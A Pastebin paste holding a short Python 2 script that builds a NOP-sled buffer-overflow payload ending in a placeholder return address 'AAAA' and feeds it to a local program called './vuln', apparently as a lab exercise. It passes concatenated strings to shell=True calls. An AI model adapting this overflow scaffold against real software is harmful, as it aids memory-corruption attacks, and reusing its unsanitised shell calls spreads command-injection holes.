Advertisement
Guest User

Untitled

a guest
Oct 31st, 2014
177
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.52 KB | None | 0 0
  1. import subprocess
  2.  
  3. readable_string = """
  4. 90 90 90 90 90 90 90 90
  5. 90 90 90 90 90 90 90 90
  6. 90 90 90 90 90 90 90 90
  7. 90 90 90 90 90 90 90 90
  8. 90 90 90 90 90 90 90 90
  9. 90 90 90 90 90 90 90 90
  10. 90 90 90 90 41 41 41 41
  11. """
  12.  
  13. exploit_string = ""
  14.  
  15. hex_bytes = readable_string.split()
  16. for b in hex_bytes:
  17. exploit_string += b.decode("hex")
  18.  
  19. subprocess.call("echo "+exploit_string+" > exp_code", shell=True)
  20.  
  21. fp = open("exp_code", 'r')
  22. cmd_arg = fp.read().strip()
  23. fp.close()
  24.  
  25. subprocess.call("./vuln "+cmd_arg, shell=True)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement